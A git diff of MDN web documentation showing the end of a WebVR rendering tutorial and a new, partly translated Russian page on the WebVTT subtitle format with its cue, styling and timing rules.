+<pre class="brush: js">  // You can get the position, orientation, etc. of the display from the current frame's pose
+
+  var curFramePose = frameData.pose;
+  var curPos = curFramePose.position;
+  var curOrient = curFramePose.orientation;
+  if(poseStatsDisplayed) {
+    displayPoseStats(curFramePose);
+  }</pre>
+
+<p>  We now clear the canvas before we start drawing on it, so that the next frame is clearly seen, and we don't also see previous rendered frames:</p>
+
+<pre class="brush: js">  // Clear the canvas before we start drawing on it.
+
+  gl.clear(gl.COLOR_BUFFER_BIT | gl.DEPTH_BUFFER_BIT);</pre>
+
+<p>We now render the view for both the left and right eyes. First of all we need to create projection and view locations for use in the rendering. these are {{domxref("WebGLUniformLocation")}} objects, created using the {{domxref("WebGLRenderingContext.getUniformLocation()")}} method, passing it the shader program's identifier and an identifying name as parameters.</p>
+
+<pre class="brush: js">  // WebVR: Create the required projection and view matrix locations needed
+  // for passing into the uniformMatrix4fv methods below
+
+  var projectionMatrixLocation = gl.getUniformLocation(shaderProgram, "projMatrix");
+  var viewMatrixLocation = gl.getUniformLocation(shaderProgram, "viewMatrix");</pre>
+
+<p>The next rendering step involves:</p>
+
+<ul>
+ <li>Specifying the viewport size for the left eye, using {{domxref("WebGLRenderingContext.viewport")}} — this is logically the first half of the canvas width, and the full canvas height.</li>
+ <li>Specifying the view and projection matrix values to use to render the left eye — this is done using the {{domxref("WebGLRenderingContext.uniformMatrix", "WebGLRenderingContext.uniformMatrix4fv")}} method, which is passed the location values we retrieved above, and the left matrices obtained from the {{domxref("VRFrameData")}} object.</li>
+ <li>Running the <code>drawGeometry()</code> function, which renders the actual scene — because of what we specified in the previous two steps, we will render it for the left eye only.</li>
+</ul>
+
+<pre class="brush: js">  // WebVR: Render the left eye’s view to the left half of the canvas
+  gl.viewport(0, 0, canvas.width * 0.5, canvas.height);
+  gl.uniformMatrix4fv(projectionMatrixLocation, false, frameData.leftProjectionMatrix);
+  gl.uniformMatrix4fv(viewMatrixLocation, false, frameData.leftViewMatrix);
+  drawGeometry();</pre>
+
+<p>We now do exactly the same thing, but for the right eye:</p>
+
+<pre class="brush: js">  // WebVR: Render the right eye’s view to the right half of the canvas
+  gl.viewport(canvas.width * 0.5, 0, canvas.width * 0.5, canvas.height);
+  gl.uniformMatrix4fv(projectionMatrixLocation, false, frameData.rightProjectionMatrix);
+  gl.uniformMatrix4fv(viewMatrixLocation, false, frameData.rightViewMatrix);
+  drawGeometry();</pre>
+
+<p>Next we define our <code>drawGeometry()</code> function. Most of this is just general WebGL code required to draw our 3D cube. You'll see some WebVR-specific parts in the <code>mvTranslate()</code> and <code>mvRotate()</code> function calls — these pass matrices into the WebGL program that define the translation and rotation of the cube for the current frame</p>
+
+<p>You'll see that we are modifying these values by the position (<code>curPos</code>) and orientation (<code>curOrient</code>) of the VR display we got from the {{domxref("VRPose")}} object. The result is that, for example, as you move or rotate your head left, the x position value (<code>curPos[0]</code>) and y rotation value (<code>[curOrient[1]</code>) are added to the x translation value, meaning that the cube will move to the right, as you'd expect when you are looking at something and then move/turn your head left.</p>
+
+<p>This is a quick and dirty way to use VR pose data, but it illustrates the basic principle.</p>
+
+<pre class="brush: js">  function drawGeometry() {
+    // Establish the perspective with which we want to view the
+    // scene. Our field of view is 45 degrees, with a width/height
+    // ratio of 640:480, and we only want to see objects between 0.1 units
+    // and 100 units away from the camera.
+
+    perspectiveMatrix = makePerspective(45, 640.0/480.0, 0.1, 100.0);
+
+    // Set the drawing position to the "identity" point, which is
+    // the center of the scene.
+
+    loadIdentity();
+
+    // Now move the drawing position a bit to where we want to start
+    // drawing the cube.
+
+    mvTranslate([
+                  0.0 - (curPos[0] * 25) + (curOrient[1] * 25),
+                  5.0 - (curPos[1] * 25) - (curOrient[0] * 25),
+                  -15.0 - (curPos[2] * 25)
+               ]);
+
+    // Save the current matrix, then rotate before we draw.
+
+    mvPushMatrix();
+    mvRotate(cubeRotation, [0.25, 0, 0.25 - curOrient[2] * 0.5]);
+
+    // Draw the cube by binding the array buffer to the cube's vertices
+    // array, setting attributes, and pushing it to GL.
+
+    gl.bindBuffer(gl.ARRAY_BUFFER, cubeVerticesBuffer);
+    gl.vertexAttribPointer(vertexPositionAttribute, 3, gl.FLOAT, false, 0, 0);
+
+    // Set the texture coordinates attribute for the vertices.
+
+    gl.bindBuffer(gl.ARRAY_BUFFER, cubeVerticesTextureCoordBuffer);
+    gl.vertexAttribPointer(textureCoordAttribute, 2, gl.FLOAT, false, 0, 0);
+
+    // Specify the texture to map onto the faces.
+
+    gl.activeTexture(gl.TEXTURE0);
+    gl.bindTexture(gl.TEXTURE_2D, cubeTexture);
+    gl.uniform1i(gl.getUniformLocation(shaderProgram, "uSampler"), 0);
+
+    // Draw the cube.
+
+    gl.bindBuffer(gl.ELEMENT_ARRAY_BUFFER, cubeVerticesIndexBuffer);
+    setMatrixUniforms();
+    gl.drawElements(gl.TRIANGLES, 36, gl.UNSIGNED_SHORT, 0);
+
+    // Restore the original matrix
+
+    mvPopMatrix();
+  }
+</pre>
+
+<p>The next bit of the code has nothing to do with WebVR — it just updates the rotation of the cube on each frame:</p>
+
+<pre class="brush: js">  // Update the rotation for the next draw, if it's time to do so.
+
+  var currentTime = (new Date).getTime();
+  if (lastCubeUpdateTime) {
+    var delta = currentTime - lastCubeUpdateTime;
+
+    cubeRotation += (30 * delta) / 1000.0;
+  }
+
+  lastCubeUpdateTime = currentTime;</pre>
+
+<p>The last part of the rendering loop involves us calling {{domxref("VRDisplay.submitFrame()")}} — now all the work has been done and we've rendered the display on the {{htmlelement("canvas")}}, this method then submits the frame to the VR display so it is displayed on there as well.</p>
+
+<pre class="brush: js">  // WebVR: Indicate that we are ready to present the rendered frame to the VR display
+  vrDisplay.submitFrame();
+}</pre>
+
+<h3 id="Displaying_the_pose_(position_orientation_etc.)_data">Displaying the pose (position, orientation, etc.) data</h3>
+
+<p>In this section we'll discuss the <code>displayPoseStats()</code> function, which displays our updated pose data on each frame. The function is fairly simple.</p>
+
+<p>First of all, we store the six different property values obtainable from the {{domxref("VRPose")}} object in their own variables — each one is a {{domxref("Float32Array")}}.</p>
+
+<pre class="brush: js">function displayPoseStats(pose) {
+  var pos = pose.position;
+  var orient = pose.orientation;
+  var linVel = pose.linearVelocity;
+  var linAcc = pose.linearAcceleration;
+  var angVel = pose.angularVelocity;
+  var angAcc = pose.angularAcceleration;</pre>
+
+<p>We then write out the data into the information box, updating it on every frame. We've clamped each value to three decimal places using <code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Number/toFixed">toFixed()</a></code>, as the values are hard to read otherwise.</p>
+
+<p>You should note that we've used a conditional expression to detect whether the linear acceleration and angular acceleration arrays are successfully returned before we display the data. These values are not reported by most VR hardware as yet, so the code would throw an error if we did not do this (the arrays return <code>null</code> if they are not successfully reported).</p>
+
+<pre class="brush: js">  posStats.textContent = 'Position: x ' + pos[0].toFixed(3) + ', y ' + pos[1].toFixed(3) + ', z ' + pos[2].toFixed(3);
+  orientStats.textContent = 'Orientation: x ' + orient[0].toFixed(3) + ', y ' + orient[1].toFixed(3) + ', z ' + orient[2].toFixed(3);
+  linVelStats.textContent = 'Linear velocity: x ' + linVel[0].toFixed(3) + ', y ' + linVel[1].toFixed(3) + ', z ' + linVel[2].toFixed(3);
+  angVelStats.textContent = 'Angular velocity: x ' + angVel[0].toFixed(3) + ', y ' + angVel[1].toFixed(3) + ', z ' + angVel[2].toFixed(3);
+
+  if(linAcc) {
+    linAccStats.textContent = 'Linear acceleration: x ' + linAcc[0].toFixed(3) + ', y ' + linAcc[1].toFixed(3) + ', z ' + linAcc[2].toFixed(3);
+  } else {
+    linAccStats.textContent = 'Linear acceleration not reported';
+  }
+
+  if(angAcc) {
+    angAccStats.textContent = 'Angular acceleration: x ' + angAcc[0].toFixed(3) + ', y ' + angAcc[1].toFixed(3) + ', z ' + angAcc[2].toFixed(3);
+  } else {
+    angAccStats.textContent = 'Angular acceleration not reported';
+  }
+}</pre>
+
+<h2 id="WebVR_events">WebVR events</h2>
+
+<p>The WebVR spec features a number of events that are fired, allowing our app code to react to changes in the state of the VR display (see <a href="/en-US/docs/Web/API/WebVR_API#Window_events">Window events</a>). For example:</p>
+
+<ul>
+ <li>{{event("vrdisplaypresentchange")}} — Fires when the presenting state of a VR display changes — i.e. goes from presenting to not presenting, or vice versa.</li>
+ <li>{{event("vrdisplayconnect")}} — Fires when a compatible VR display has been connected to the computer.</li>
+ <li>{{event("vrdisplaydisconnect")}} — Fires when a compatible VR display has been disconnected from the computer.</li>
+</ul>
+
+<p>To demonstrate how they work, our simple demo includes the following example:</p>
+
+<pre class="brush: js">window.addEventListener('vrdisplaypresentchange', function(e) {
+  console.log('Display ' + e.display.displayId + ' presentation has changed. Reason given: ' + e.reason + '.');
+});</pre>
+
+<p>As you can see, the {{domxref("VRDisplayEvent", "event object")}} provides two useful properties — {{domxref("VRDisplayEvent.display")}}, which contains a reference to the {{domxref("VRDisplay")}} the event was fired in response to, and {{domxref("VRDisplayEvent.reason")}}, which contains a human-readable reason why the event was fired.</p>
+
+<p>This is a very useful event; you could use it to handle cases where the display gets disconnected unexpectedly, stopping errors from being thrown and making sure the user is aware of the situation. In Google's Webvr.info presentation demo, the event is used to run an <a href="https://github.com/toji/webvr.info/blob/master/samples/03-vr-presentation.html#L174"><code>onVRPresentChange()</code> function</a>, which updates the UI controls as appropriate and resizes the canvas.</p>
+
+<h2 id="Summary">Summary</h2>
+
+<p>This article has given you the very basics of how to create a simple WebVR 1.1 app, to help you get started.</p>
diff --git a/files/ru/web/api/webvtt_api/index.html b/files/ru/web/api/webvtt_api/index.html
new file mode 100644
index 0000000000..11db07532a
--- /dev/null
+++ b/files/ru/web/api/webvtt_api/index.html
@@ -0,0 +1,905 @@
+---
+title: Формат Web Video Text Tracks (WebVTT)
+slug: Web/API/WebVTT_API
+translation_of: Web/API/WebVTT_API
+---
+<div>{{APIRef("WebVTT")}}</div>
+
+<p><span class="seoSummary"><strong>Формат Web Video Text Tracks</strong> (<strong>WebVTT</strong>)</span>это формат для отображения синхронизированных текстовых треков<span class="seoSummary"> (</span>такие как субтитры или подписи<span class="seoSummary">) </span>с помощью <span class="seoSummary"> элементов {{HTMLElement("track")}}.</span> Основная цель файлов WebVTT — добавить текстовые наложения к элементам {{HTMLElement("video")}}. WebVTT является текстовым форматом, который должен быть закодирован с использованием {{Glossary("UTF-8")}}. В этих файлах вы можете использовать пробелы и табы для отступов. Существует также небольшой API для представления и управления этими дорожками и данными, необходимыми для отображения текста в нужное время.</p>
+
+<h2 id="Файлы_WebVTT">Файлы WebVTT</h2>
+
+<p>MIME тип файлов WebVTT — <code>text/vtt</code>.</p>
+
+<p>Файл WebVTT (<code>.vtt</code>) содержит реплики (cues), которые могут быть одной строкой или несколькими строками, как показано ниже:</p>
+
+<pre class="notranslate">WEBVTT
+
+00:01.000 --&gt; 00:04.000
+Никогда не пейте жидкий азот.
+
+00:05.000 --&gt; 00:09.000
+- Это пробьет ваш желудок.
+- Вы можете умереть.
+</pre>
+
+<h2 id="Тело_WebVTT_файла">Тело WebVTT файла</h2>
+
+<p>Структура WebVTT состоит из следующих компонентов, некоторые из которых являются необязательными, в следующем порядке:</p>
+
+<ul>
+ <li>Необязательный знак порядка байтов (BOM).</li>
+ <li>Строка  "<code>WEBVTT</code>".</li>
+ <li>Дополнительный текстовый заголовок справа от <code>WEBVTT.</code>
+  <ul>
+   <li>Должен быть хотя бы один пробел после  <code>WEBVTT.</code></li>
+   <li>Вы можете использовать его, чтобы добавить описание к файлу.</li>
+   <li>Вы можете использовать что угодно в текстовом заголовке, кроме перевода строки или  "<code>--&gt;</code>".</li>
+  </ul>
+ </li>
+ <li>Пустая строка, которая эквивалентна двум последовательным переводам строки.</li>
+ <li>Ноль или более реплик или комментариев .</li>
+ <li>Ноль или более пустых строк.</li>
+</ul>
+
+<h5 id="Пример_1_-_Простейший_возможный_файл_WEBVTT">Пример 1 - Простейший возможный файл WEBVTT</h5>
+
+<pre class="eval notranslate">WEBVTT
+</pre>
+
+<h5 id="Пример_2_-_Очень_простой_файл_WebVTT_с_текстовым_заголовком">Пример 2 - Очень простой файл WebVTT с текстовым заголовком</h5>
+
+<pre class="eval notranslate">WEBVTT - Этот файл не содержит реплик.
+</pre>
+
+<h5 id="Пример_3_-_Обычный_WebVTT_с_заголовком_и_репликами">Пример 3 - Обычный WebVTT с заголовком и репликами</h5>
+
+<pre class="eval notranslate">WEBVTT - Этот файл содержит реплики.
+
+14
+00:01:14.815 --&gt; 00:01:18.114
+- Что?
+- Где мы сейчас?
+
+15
+00:01:18.171 --&gt; 00:01:20.991
+- Это большая страна летучих мышей.
+
+16
+00:01:21.058 --&gt; 00:01:23.868
+- [ Визг летучих мышей ]
+- Они не попадут в твои волосы. They're after the bugs.
+</pre>
+
+<h3 id="Внутренняя_структура_файла_WebVTT">Внутренняя структура файла WebVTT</h3>
+
+<p>Давайте вернемся к одному из наших предыдущих примеров и рассмотрим структуру реплик более подробно.</p>
+
+<pre class="notranslate">WEBVTT
+
+00:01.000 --&gt; 00:04.000
+- Never drink liquid nitrogen.
+
+00:05.000 --&gt; 00:09.000
+- It will perforate your stomach.
+- You could die.
+
+NOTE Это последняя строка в файле</pre>
+
+<p>В данном случае каждая реплика:</p>
+
+<ul>
+ <li>Первая строка начинается с метки времени, которое определяет начало отображения нижележащего текста.</li>
+ <li>На той же строке далее идут символы  <code>--&gt;</code>.</li>
+ <li>Первая строка заканчивается  второй меткой времени, которое определяет прекращения отображения связанного текста.</li>
+ <li>Затем может быть одна или несколько строк, начинающихся с дефиса  (-), каждая из которых содержит часть текстовой дорожки для отображения.</li>
+</ul>
+
+<p>Мы также можем разместить комментарии в нашем файле <code>.vtt</code>, чтобы помочь нам запомнить важную информацию о частях нашего файла. Они должны быть в отдельных строках, начинающихся со слова <code>NOTE</code>. Подробнее об этом сказано  в следующем разделе.</p>
+
+<p>Важно не использовать дополнительные пустые строки в реплике, например, между строкой синхронизации и текстом реплики. WebVTT использует строчные разделители, поэтому пустая строка обозначит окончание реплики.</p>
+
+<h2 id="Комментарии_в_WebVTT">Комментарии в WebVTT</h2>
+
+<p>Comments are an optional component that can be used to add information to a WebVTT file. Comments are intended for those reading the file and are not seen by users. Comments may contain newlines but cannot contain a blank line, which is equivalent to two consecutive newlines. A blank line signifies the end of a comment.</p>
+
+<p>A comment cannot contain the string "<code>--&gt;",</code> the ampersand character (&amp;), or the less-than sign (&lt;). If you wish to use such characters, you need to escape them using for example <code>&amp;amp;</code> for ampersand and <code>&amp;lt;</code> for less-than. It is also recommended that you use the greater-than escape sequence (<code>&amp;gt;</code>) instead of the greater-than character (<code>&gt;</code>) to avoid confusion with tags.</p>
+
+<p>A comment consists of three parts:</p>
+
+<ul>
+ <li>The string <code>NOTE.</code></li>
+ <li>A space or a newline.</li>
+ <li>Zero or more characters other than those noted above.</li>
+</ul>
+
+<h5 id="Example_4_-_Common_WebVTT_example">Example 4 - Common WebVTT example</h5>
+
+<pre class="eval notranslate">NOTE This is a comment
+</pre>
+
+<h5 id="Example_5_-_Multi-line_comment">Example 5 - Multi-line comment</h5>
+
+<pre class="eval notranslate">NOTE
+Another comment that is spanning
+more than one line.
+
+NOTE You can also make a comment
+across more than one line this way.
+</pre>
+
+<h5 id="Example_6_-_Common_comment_usage">Example 6 - Common comment usage</h5>
+
+<pre class="eval notranslate">WEBVTT - Translation of that film I like
+
+NOTE
+This translation was done by Kyle so that
+some friends can watch it with their parents.
+
+1
+00:02:15.000 --&gt; 00:02:20.000
+- Ta en kopp varmt te.
+- Det är inte varmt.
+
+2
+00:02:20.000 --&gt; 00:02:25.000
+- Har en kopp te.
+- Det smakar som te.
+
+NOTE This last line may not translate well.
+
+3
+00:02:25.000 --&gt; 00:02:30.000
+- Ta en kopp
+</pre>
+
+<h2 id="Стилизация_реплик_WebTT">Стилизация реплик WebTT</h2>
+
+<p>Реплики WebVTT можно стилизовать, используя псевдоэлемент {{cssxref("::cue")}}.</p>
+
+<h3 id="В_CSS-стилях_сайта">В CSS-стилях сайта</h3>
+
+<pre class="brush: css notranslate">video::cue {
+  background-image: linear-gradient(to bottom, dimgray, lightgray);
+  color: papayawhip;
+}
+
+video::cue(b) {
+  color: peachpuff;
+}
+</pre>
+
+<p>В данном примере фоном видео будет серый градиент, с цветом текста <code>papayawhip</code>. Также, текст, выделенный жирным шрифтом с помощью элемента {{HTMLElement("b")}}, имеет цвет <code>peachpuff</code>.</p>
+
+<p>Фрагмент HTML, приведенный ниже, отображает видео.</p>
+
+<pre class="brush: html notranslate">&lt;video controls autoplay src="video.webm"&gt;
+ &lt;track default src="track.vtt"&gt;
+&lt;/video&gt;
+</pre>
+
+<h3 id="Within_the_WebVTT_file_itself">Within the WebVTT file itself</h3>
+
+<p>You can also define the style directly in the WebVTT file. In this case, you insert your CSS rules into the file with each rule preceded by the string <code>"STYLE"</code> all by itelf on a line of text, as shown below:</p>
+
+<pre class="notranslate">WEBVTT
+
+STYLE
+::cue {
+  background-image: linear-gradient(to bottom, dimgray, lightgray);
+  color: papayawhip;
+}
+/* Style blocks cannot use blank lines nor "dash dash greater than" */
+
+NOTE comment blocks can be used between style blocks.
+
+STYLE
+::cue(b) {
+  color: peachpuff;
+}
+
+00:00:00.000 --&gt; 00:00:10.000
+- Hello &lt;b&gt;world&lt;/b&gt;.
+
+NOTE style blocks cannot appear after the first cue.</pre>
+
+<p>We can also use identifiers inside WebVTT file, which can be used for defining a new style for some particular cues in the file. The example where we wanted the transcription text to be red highlighted and the other part to remain normal, we can define it as follows using CSS. Where it must be noted that the CSS uses escape sequences the way they are used in HTML pages:</p>
+
+<pre class="notranslate">WEBVTT
+
+1
+00:00.000 --&gt; 00:02.000
+That’s an, an, that’s an L!
+
+crédit de transcription
+00:04.000 --&gt; 00:05.000
+Transcrit par Célestes™
+</pre>
+
+<pre class="brush: css notranslate">::cue(#\31) { color: lime; }
+::cue(#crédit\ de\ transcription) { color: red; }</pre>
+
+<p>Positioning of text tracks is also supported, by including positioning information after the timings in a cue, as seen below (see {{anch("Cue settings")}} for more information):</p>
+
+<pre class="notranslate">WEBVTT
+
+00:00:00.000 --&gt; 00:00:04.000 position:10%,line-left align:left size:35%
+Where did he go?
+
+00:00:03.000 --&gt; 00:00:06.500 position:90% align:right size:35%
+I think he went down this lane.
+
+00:00:04.000 --&gt; 00:00:06.500 position:45%,line-right align:center size:35%
+What are you waiting for?</pre>
+
+<h2 id="WebVTT_cues">WebVTT cues</h2>
+
+<p>A cue is a single subtitle block that has a single start time, end time, and textual payload. Example 6 consists of the header, a blank line, and then five cues separated by blank lines. A cue consists of five components:</p>
+
+<ul>
+ <li>An optional cue identifier followed by a newline.</li>
+ <li>Cue timings.</li>
+ <li>Optional cue settings with at least one space before the first and between each setting.</li>
+ <li>One or more newlines.</li>
+ <li>The cue payload text.</li>
+</ul>
+
+<h5 id="Example_7_-_Example_of_a_cue">Example 7 - Example of a cue</h5>
+
+<pre class="eval notranslate">1 - Title Crawl
+00:00:05.000 --&gt; 00:00:10.000 line:0 position:20% size:60% align:start
+Some time ago in a place rather distant....</pre>
+
+<h3 id="Cue_identifier">Cue identifier</h3>
+
+<p>The identifier is a name that identifies the cue. It can be used to reference the cue from a script. It must not contain a newline and cannot contain the string "<code>--&gt;"</code>. It must end with a single newline. They do not have to be unique, although it is common to number them (e.g., 1, 2, 3, ...).</p>
+
+<h5 id="Example_8_-_Cue_identifier_from_Example_7">Example 8 - Cue identifier from Example 7</h5>
+
+<pre class="eval notranslate">1 - Title Crawl</pre>
+
+<h5 id="Example_9_-_Common_usage_of_identifiers">Example 9 - Common usage of identifiers</h5>
+
+<pre class="eval notranslate">WEBVTT
+
+1
+00:00:22.230 --&gt; 00:00:24.606
+This is the first subtitle.
+
+2
+00:00:30.739 --&gt; 00:00:34.074
+This is the second.
+
+3
+00:00:34.159 --&gt; 00:00:35.743
+Third
+</pre>
+
+<h3 id="Cue_timings">Cue timings</h3>
+
+<p>A cue timing indicates when the cue is shown. It has a start and end time which are represented by timestamps. The end time must be greater than the start time, and the start time must be greater than or equal to all previous start times. Cues may have overlapping timings.</p>
+
+<p>If the WebVTT file is being used for chapters ({{HTMLElement("track")}} {{htmlattrxref("kind")}} is <code>chapters</code>) then the file cannot have overlapping timings.</p>
+
+<p>Each cue timing contains five components:</p>
+
+<ul>
+ <li>Timestamp for start time.</li>
+ <li>At least one space.</li>
+ <li>The string "<code>--&gt;".</code></li>
+ <li>At least one space.</li>
+ <li>Timestamp for end time.
+  <ul>
+   <li>Which must be greater than the start time.</li>
+  </ul>
+ </li>
+</ul>
+
+<p>The timestamps must be in one of two formats:</p>
+
+<ul>
+ <li><code>mm:ss.ttt</code></li>
+ <li><code>hh:mm:ss.ttt</code></li>
+</ul>
+
+<p>Where the components are defined as follows:</p>
+
+<ul>
+ <li><code>hh</code> is hours.
+
+  <ul>
+   <li>Must be at least two digits.</li>
+   <li>Hours can be greater than two digits (e.g., 9999:00:00.000).</li>
+  </ul>
+ </li>
+ <li><code>mm</code> is minutes.
+  <ul>
+   <li>Must be between 00 and 59 inclusive.</li>
+  </ul>
+ </li>
+ <li><code>ss</code> is seconds.
+  <ul>
+   <li>Must be between 00 and 59 inclusive.</li>
+  </ul>
+ </li>
+ <li><code>ttt</code> is miliseconds.
+  <ul>
+   <li>Must be between 000 and 999 inclusive.</li>
+  </ul>
+ </li>
+</ul>
+
+<h5 id="Example_10_-_Basic_cue_timing_examples">Example 10 - Basic cue timing examples</h5>
+
+<pre class="eval notranslate">00:22.230 --&gt; 00:24.606
+00:30.739 --&gt; 00:00:34.074
+00:00:34.159 --&gt; 00:35.743
+00:00:35.827 --&gt; 00:00:40.122</pre>
+
+<h5 id="Example_11_-_Overlapping_cue_timing_examples">Example 11 - Overlapping cue timing examples</h5>
+
+<pre class="eval notranslate">00:00:00.000 --&gt; 00:00:10.000
+00:00:05.000 --&gt; 00:01:00.000
+00:00:30.000 --&gt; 00:00:50.000</pre>
+
+<h5 id="Example_12_-_Non-overlapping_cue_timing_examples">Example 12 - Non-overlapping cue timing examples</h5>
+
+<pre class="eval notranslate">00:00:00.000 --&gt; 00:00:10.000
+00:00:10.000 --&gt; 00:01:00.581
+00:01:00.581 --&gt; 00:02:00.100
+00:02:01.000 --&gt; 00:02:01.000</pre>
+
+<h3 id="Cue_settings">Cue settings</h3>
+
+<p>Cue settings are optional components used to position where the cue payload text will be displayed over the video. This includes whether the text is displayed horizontally or vertically. There can be zero or more of them, and they can be used in any order so long as each setting is used no more than once.</p>
+
+<p>The cue settings are added to the right of the cue timings. There must be one or more spaces between the cue timing and the first setting and between each setting. A setting's name and value are separated by a colon. The settings are case sensitive so use lower case as shown. There are five cue settings:</p>
+
+<ul>
+ <li><strong>vertical</strong>
+
+  <ul>
+   <li>Indicates that the text will be displayed vertically rather than horizontally, such as in some Asian languages.</li>
+  </ul>
+
+  <table>
+   <thead>
+    <tr>
+     <th colspan="2">Table 1 - vertical values</th>
+    </tr>
+   </thead>
+   <tbody>
+    <tr>
+     <th><code>vertical:rl</code></th>
+     <td>writing direction is right to left</td>
+    </tr>
+    <tr>
+     <th><code>vertical:lr</code></th>
+     <td>writing direction is left to right</td>
+    </tr>
+   </tbody>
+  </table>
+ </li>
+ <li><strong>line</strong>
+  <ul>
+   <li>Specifies where text appears vertically. If vertical is set, line specifies where text appears horizontally.</li>
+   <li>Value can be a line number.
+    <ul>
+     <li>The line height is the height of the first line of the cue as it appears on the video.</li>
+     <li>Positive numbers indicate top down.</li>
+     <li>Negative numbers indicate bottom up.</li>
+    </ul>
+   </li>
+   <li>Or value can be a percentage.
+    <ul>
+     <li>Must be an integer (i.e., no decimals) between 0 and 100 inclusive.</li>
+     <li>Must be followed by a percent sign (%).</li>
+    </ul>
+   </li>
+  </ul>
+
+  <table>
+   <thead>
+    <tr>
+     <th colspan="4">Table 2 - line examples</th>
+    </tr>
+   </thead>
+   <tbody>
+    <tr>
+     <th></th>
+     <th><code>vertical</code> omitted</th>
+     <th><code>vertical:rl</code></th>
+     <th><code>vertical:lr</code></th>
+    </tr>
+    <tr>
+     <th><code>line:0</code></th>
+     <td>top</td>
+     <td>right</td>
+     <td>left</td>
+    </tr>
+    <tr>
+     <th><code>line:-1</code></th>
+     <td>bottom</td>
+     <td>left</td>
+     <td>right</td>
+    </tr>
+    <tr>
+     <th><code>line:0%</code></th>
+     <td>top</td>
+     <td>right</td>
+     <td>left</td>
+    </tr>
+    <tr>
+     <th><code>line:100%</code></th>
+     <td>bottom</td>
+     <td>left</td>
+     <td>right</td>
+    </tr>
+   </tbody>
+  </table>
+ </li>
+ <li><strong>position</strong>
+  <ul>
+   <li>Specifies where the text will appear horizontally. If vertical is set, position specifies where the text will appear vertically.</li>
+   <li>Value is a percentage.</li>
+   <li>Must be an integer (no decimals) between 0 and 100 inclusive.</li>
+   <li>Must be followed by a percent sign (%).</li>
+  </ul>
+
+  <table>
+   <thead>
+    <tr>
+     <th colspan="4">Table 3 - position examples</th>
+    </tr>
+   </thead>
+   <tbody>
+    <tr>
+     <th></th>
+     <th><code>vertical</code> omitted</th>
+     <th><code>vertical:rl</code></th>
+     <th><code>vertical:lr</code></th>
+    </tr>
+    <tr>
+     <th><code>position:0%</code></th>
+     <td>left</td>
+     <td>top</td>
+     <td>top</td>
+    </tr>
+    <tr>
+     <th><code>position:100%</code></th>
+     <td>right</td>
+     <td>bottom</td>
+     <td>bottom</td>
+    </tr>
+   </tbody>
+  </table>
+ </li>
+ <li><strong>size</strong>
+  <ul>
+   <li>Specifies the width of the text area. If vertical is set, size specifies the height of the text area.</li>
+   <li>Value is a percentage.</li>
+   <li>Must be an integer (i.e., no decimals) between 0 and 100 inclusive.</li>
+   <li>Must be followed by a percent sign (%).</li>
+  </ul>
+
+  <table>
+   <thead>
+    <tr>
+     <th colspan="4">Table 4 - size examples</th>
+    </tr>
+   </thead>
+   <tbody>
+    <tr>
+     <th></th>
+     <th><code>vertical</code> omitted</th>
+     <th><code>vertical:rl</code></th>
+     <th><code>vertical:lr</code></th>
+    </tr>
+    <tr>
+     <th><code>size:100%</code></th>
+     <td>full width</td>
+     <td>full height</td>
+     <td>full height</td>
+    </tr>
+    <tr>
+     <th><code>size:50%</code></th>
+     <td>half width</td>
+     <td>half height</td>
+     <td>half height</td>
+    </tr>
+   </tbody>
+  </table>
+ </li>
+ <li><strong>align</strong>
+  <ul>
+   <li>Specifies the alignment of the text. Text is aligned within the space given by the size cue setting if it is set.</li>
+  </ul>
+
+  <table>
+   <thead>
+    <tr>
+     <th colspan="4">Table 5 - align values</th>
+    </tr>
+   </thead>
+   <tbody>
+    <tr>
+     <th></th>
+     <th><code>vertical</code> omitted</th>
+     <th><code>vertical:rl</code></th>
+     <th><code>vertical:lr</code></th>
+    </tr>
+    <tr>
+     <th><code>align:start</code></th>
+     <td>left</td>
+     <td>top</td>
+     <td>top</td>
+    </tr>
+    <tr>
+     <th><code>align:middle</code></th>
+     <td>centred horizontally</td>
+     <td>centred vertically</td>
+     <td>centred vertically</td>
+    </tr>
+    <tr>
+     <th><code>align:end</code></th>
+     <td>right</td>
+     <td>bottom</td>
+     <td>bottom</td>
+    </tr>
+   </tbody>
+  </table>
+ </li>
+</ul>
+
+<h5 id="Example_13_-_Cue_setting_examples">Example 13 - Cue setting examples</h5>
+
+<p>The first line demonstrates no settings. The second line might be used to overlay text on a sign or label. The third line might be used for a title. The last line might be used for an Asian language.</p>
+
+<pre class="eval notranslate">00:00:05.000 --&gt; 00:00:10.000
+00:00:05.000 --&gt; 00:00:10.000 line:63% position:72% align:start
+00:00:05.000 --&gt; 00:00:10.000 line:0 position:20% size:60% align:start
+00:00:05.000 --&gt; 00:00:10.000 vertical:rt line:-1 align:end
+</pre>
+
+<h3 id="Cue_payload">Cue payload</h3>
+
+<p>The payload is where the main information or content is located. In normal usage the payload contains the subtitles to be displayed. The payload text may contain newlines but it cannot contain a blank line, which is equivalent to two consecutive newlines. A blank line signifies the end of a cue.</p>
+
+<p>A cue text payload cannot contain the string "<code>--&gt;"</code>, the ampersand character (&amp;), or the less-than sign (&lt;). Instead use the escape sequence "&amp;amp;" for ampersand and "&amp;lt;" for less-than. It is also recommended that you use the greater-than escape sequence "&amp;gt;" instead of the greater-than character (&gt;) to avoid confusion with tags. If you are using the WebVTT file for metadata these restrictions do not apply.</p>
+
+<p>In addition to the three escape sequences mentioned above, there are fours others. They are listed in the table below.</p>
+
+<table>
+ <thead>
+  <tr>
+   <th colspan="3">Table 6 - Escape sequences</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <th>Name</th>
+   <th>Character</th>
+   <th>Escape Sequence</th>
+  </tr>
+  <tr>
+   <td>Ampersand</td>
+   <td>&amp;</td>
+   <td><code>&amp;amp;</code></td>
+  </tr>
+  <tr>
+   <td>Less-than</td>
+   <td>&lt;</td>
+   <td><code>&amp;lt;</code></td>
+  </tr>
+  <tr>
+   <td>Greater-than</td>
+   <td>&gt;</td>
+   <td><code>&amp;gt;</code></td>
+  </tr>
+  <tr>
+   <td>Left-to-right mark</td>
+   <td></td>
+   <td><code>&amp;lrm;</code></td>
+  </tr>
+  <tr>
+   <td>Right-to-left mark</td>
+   <td></td>
+   <td><code>&amp;rlm;</code></td>
+  </tr>
+  <tr>
+   <td>Non-breaking space</td>
+   <td><code> </code></td>
+   <td><code>&amp;nbsp;</code></td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="Cue_payload_text_tags">Cue payload text tags</h3>
+
